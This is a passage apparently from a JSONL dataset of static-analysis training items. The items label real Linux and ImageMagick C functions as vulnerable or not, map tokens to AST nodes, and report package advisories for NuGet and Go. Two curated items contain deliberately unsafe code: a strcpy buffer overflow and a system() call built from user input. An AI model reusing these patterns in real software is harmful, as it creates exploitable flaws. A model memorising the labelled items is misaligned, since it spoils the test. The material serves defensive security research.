\"ecosystem\": \"NuGet\",\n \"package\": \"System.Linq.Dynamic.Core\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.6.0\",\n \"fixed_version\": \"1.6.0\",\n \"finding\": \"Property reflection in System.Linq.Dynamic.Core\",\n \"remediation\": \"Upgrade System.Linq.Dynamic.Core to 1.6.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static unsigned char asn1_length_decode(struct asn1_ctx *ctx,\n\t\t\t\t\tunsigned int *def,\n\t\t\t\t\tunsigned int *len)\n{\n\tunsigned char ch, cnt;\n\n\tif (!asn1_octet_decode(ctx, &ch))\n\t\treturn 0;\n\n\tif (ch == 0x80)\n\t\t*def = 0;\n\telse {\n\t\t*def = 1;\n\n\t\tif (ch < 0x80)\n\t\t\t*len = ch;\n\t\telse {\n\t\t\tcnt = ch & 0x7F;\n\t\t\t*len = 0;\n\n\t\t\twhile (cnt > 0) {\n\t\t\t\tif (!asn1_octet_decode(ctx, &ch))\n\t\t\t\t\treturn 0;\n\t\t\t\t*len <<= 8;\n\t\t\t\t*len |= ch;\n\t\t\t\tcnt--;\n\t\t\t}\n\t\t}\n\t}\n\treturn 1;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int shmem_set_policy(struct vm_area_struct *vma, struct mempolicy *new)\n{\n\tstruct inode *i = vma->vm_file->f_path.dentry->d_inode;\n\treturn mpol_set_shared_policy(&SHMEM_I(i)->policy, vma, new);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static int perf_swevent_init(struct perf_event *event)\n {\n\tint event_id = event->attr.config;\n \n \tif (event->attr.type != PERF_TYPE_SOFTWARE)\n \t\treturn -ENOENT;\n\n\t/*\n\t * no branch sampling for software events\n\t */\n\tif (has_branch_stack(event))\n\t\treturn -EOPNOTSUPP;\n\n\tswitch (event_id) {\n\tcase PERF_COUNT_SW_CPU_CLOCK:\n\tcase PERF_COUNT_SW_TASK_CLOCK:\n\t\treturn -ENOENT;\n\n\tdefault:\n\t\tbreak;\n\t}\n\n\tif (event_id >= PERF_COUNT_SW_MAX)\n\t\treturn -ENOENT;\n\n\tif (!event->parent) {\n\t\tint err;\n\n\t\terr = swevent_hlist_get(event);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tstatic_key_slow_inc(&perf_swevent_enabled[event_id]);\n\t\tevent->destroy = sw_perf_event_destroy;\n\t}\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-2094\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"perf_swevent_init\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"perf_event\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"event\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"event_id\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"event\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"attr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"config\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"event\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"attr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"PERF_TYPE_SOFTWARE\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"ENOENT\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"/*\\n\\t * no branch sampling for software events\\n\\t */\",\n \"ast_node\": \"comment\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"has_branch_stack\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \"event\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \"EOPNOTSUPP\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 20\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 14,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"event_id\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 17\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 14,\n \"col\": 19\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 15,\n \"col\": 1\n },\n {\n \"token\": \"PERF_COUNT_SW_CPU_CLOCK\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 6\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 15,\n \"col\": 29\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 16,\n \"col\": 1\n },\n {\n \"token\": \"PERF_COUNT_SW_TASK_CLOCK\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 6\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 16,\n \"col\": 30\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 17,\n \"col\": 2\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 17,\n \"col\": 9\n },\n {\n \"token\": \"ENOENT\",\n \"ast_node\": \"identifier\",\n \"line\": 17,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 16\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-120", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "void handle(const char *param) {\n char buf[64];\n strcpy(buf, param);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-120\",\n \"cwe_name\": \"Classic Buffer Overflow\",\n \"title\": \"Buffer overflow via strcpy in C++\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"strcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 21\n }\n ],\n \"explanation\": \"C-style strcpy into a fixed buffer bypasses C++ bounds safety.\",\n \"remediation\": \"Use bounded copies (strncpy/snprintf/std::string) and validate input length against the buffer size.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void *proc_pid_follow_link(struct dentry *dentry, struct nameidata *nd)\n{\n\tstruct inode *inode = dentry->d_inode;\n\tint error = -EACCES;\n\n\t/* We don't need a base pointer in the /proc filesystem */\n\tpath_put(&nd->path);\n\n\t/* Are we allowed to snoop on the tasks file descriptors? */\n\tif (!proc_fd_access_allowed(inode))\n \t\tgoto out;\n \n \terror = PROC_I(inode)->op.proc_get_link(inode, &nd->path);\n\tnd->last_type = LAST_BIND;\n out:\n \treturn ERR_PTR(error);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-0203\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 14\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"proc_pid_follow_link\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"dentry\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"dentry\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"nameidata\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 74\n },\n {\n \"token\": \"nd\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"dentry\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"d_inode\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \"EACCES\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"/* We don't need a base pointer in the /proc filesystem */\",\n \"ast_node\": \"comment\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"path_put\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"nd\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"/* Are we allowed to snoop on the tasks file descriptors? */\",\n \"ast_node\": \"comment\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"proc_fd_access_allowed\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 28\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 35\n },\n {\n \"token\": \"goto\",\n \"ast_node\": \"goto\",\n \"line\": 11,\n \"col\": 3\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"statement_identifier\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"error\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"PROC_I\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 16\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 22\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 23\n },\n {\n \"token\": \"op\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 25\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the C source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "void run(char *value) {\n char cmd[128];\n sprintf(cmd, \"ls %s\", value);\n system(cmd);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via system()\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"system\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"cmd\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 14\n }\n ],\n \"explanation\": \"User input is formatted into a shell command passed to system().\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int unix_dgram_connect(struct socket *sock, struct sockaddr *addr,\n\t\t\t int alen, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct net *net = sock_net(sk);\n\tstruct sockaddr_un *sunaddr = (struct sockaddr_un *)addr;\n\tstruct sock *other;\n\tunsigned int hash;\n\tint err;\n\n\tif (addr->sa_family != AF_UNSPEC) {\n\t\terr = unix_mkname(sunaddr, alen, &hash);\n\t\tif (err < 0)\n\t\t\tgoto out;\n\t\talen = err;\n\n\t\tif (test_bit(SOCK_PASSCRED, &sock->flags) &&\n\t\t !unix_sk(sk)->addr && (err = unix_autobind(sock)) != 0)\n\t\t\tgoto out;\n\nrestart:\n\t\tother = unix_find_other(net, sunaddr, alen, sock->type, hash, &err);\n\t\tif (!other)\n\t\t\tgoto out;\n\n\t\tunix_state_double_lock(sk, other);\n\n\t\t/* Apparently VFS overslept socket death. Retry. */\n\t\tif (sock_flag(other, SOCK_DEAD)) {\n\t\t\tunix_state_double_unlock(sk, other);\n\t\t\tsock_put(other);\n\t\t\tgoto restart;\n\t\t}\n\n\t\terr = -EPERM;\n\t\tif (!unix_may_send(sk, other))\n\t\t\tgoto out_unlock;\n\n\t\terr = security_unix_may_send(sk->sk_socket, other->sk_socket);\n\t\tif (err)\n\t\t\tgoto out_unlock;\n\n\t} else {\n\t\t/*\n\t\t *\t1003.1g breaking connected state with AF_UNSPEC\n\t\t */\n\t\tother = NULL;\n\t\tunix_state_double_lock(sk, other);\n\t}\n\n\t/*\n\t * If it was connected, reconnect.\n\t */\n \tif (unix_peer(sk)) {\n \t\tstruct sock *old_peer = unix_peer(sk);\n \t\tunix_peer(sk) = other;\n \t\tunix_state_double_unlock(sk, other);\n \n \t\tif (other != old_peer)\n\t\t\tunix_dgram_disconnected(sk, old_peer);\n\t\tsock_put(old_peer);\n\t} else {\n\t\tunix_peer(sk) = other;\n\t\tunix_state_double_unlock(sk, other);\n\t}\n\treturn 0;\n\nout_unlock:\n\tunix_state_double_unlock(sk, other);\n\tsock_put(other);\nout:\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-7446\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-190", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.10.3\nSummary: ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-xg29-8ghv-v4xr\",\n \"cve\": \"CVE-2026-25970\",\n \"aliases\": [\n \"CVE-2026-25970\"\n ],\n \"cwe\": \"CWE-190\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <14.10.3\",\n \"fixed_version\": \"14.10.3\",\n \"finding\": \"ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.10.3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void esp_input_done(struct crypto_async_request *base, int err)\n{\n\tstruct sk_buff *skb = base->data;\n\n\txfrm_input_resume(skb, esp_input_done2(skb, err));\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/go-chi/chi/v5\nInstalled version: 5.2.1\nSummary: Host header injection which leads to open redirect in RedirectSlashes in github.com/go-chi/chi", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2025-3770\",\n \"cve\": \"CVE-2025-71405\",\n \"aliases\": [\n \"CVE-2025-71405\",\n \"GHSA-vrw8-fxc6-2r93\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/go-chi/chi/v5\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=5.2.1, <5.2.2\",\n \"fixed_version\": \"5.2.2\",\n \"finding\": \"Host header injection which leads to open redirect in RedirectSlashes in github.com/go-chi/chi\",\n \"remediation\": \"Upgrade github.com/go-chi/chi/v5 to 5.2.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-1289", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/dunglas/mercure\nInstalled version: <0.22.0\nSummary: mercure has Topic Selector Cache Key Collision", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-hwr4-mq23-wcv5\",\n \"cve\": \"CVE-2026-39972\",\n \"aliases\": [\n \"CVE-2026-39972\",\n \"GO-2026-5444\"\n ],\n \"cwe\": \"CWE-1289\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/dunglas/mercure\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.22.0\",\n \"fixed_version\": \"0.22.0\",\n \"finding\": \"mercure has Topic Selector Cache Key Collision\",\n \"remediation\": \"Upgrade github.com/dunglas/mercure to 0.22.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline signed short ReadPropertyMSBShort(const unsigned char **p,\n size_t *length)\n{\n union\n {\n unsigned short\n unsigned_value;\n\n signed short\n signed_value;\n } quantum;\n\n int\n c;\n\n register ssize_t\n i;\n\n unsigned char\n buffer[2];\n\n unsigned short\n value;\n\n if (*length < 2)\n return((unsigned short) ~0);\n for (i=0; i < 2; i++)\n {\n c=(int) (*(*p)++);\n (*length)--;\n buffer[i]=(unsigned char) c;\n }\n value=(unsigned short) (buffer[0] << 8);\n value|=buffer[1];\n quantum.unsigned_value=(value & 0xffff);\n return(quantum.signed_value);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-5842\",\n \"project\": \"ImageMagick\",\n \"vulnerable_lines\": [\n 33,\n 34,\n 35\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"inline\",\n \"ast_node\": \"inline\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"signed\",\n \"ast_node\": \"signed\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"short\",\n \"ast_node\": \"short\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"ReadPropertyMSBShort\",\n \"ast_node\": \"identifier\",\n 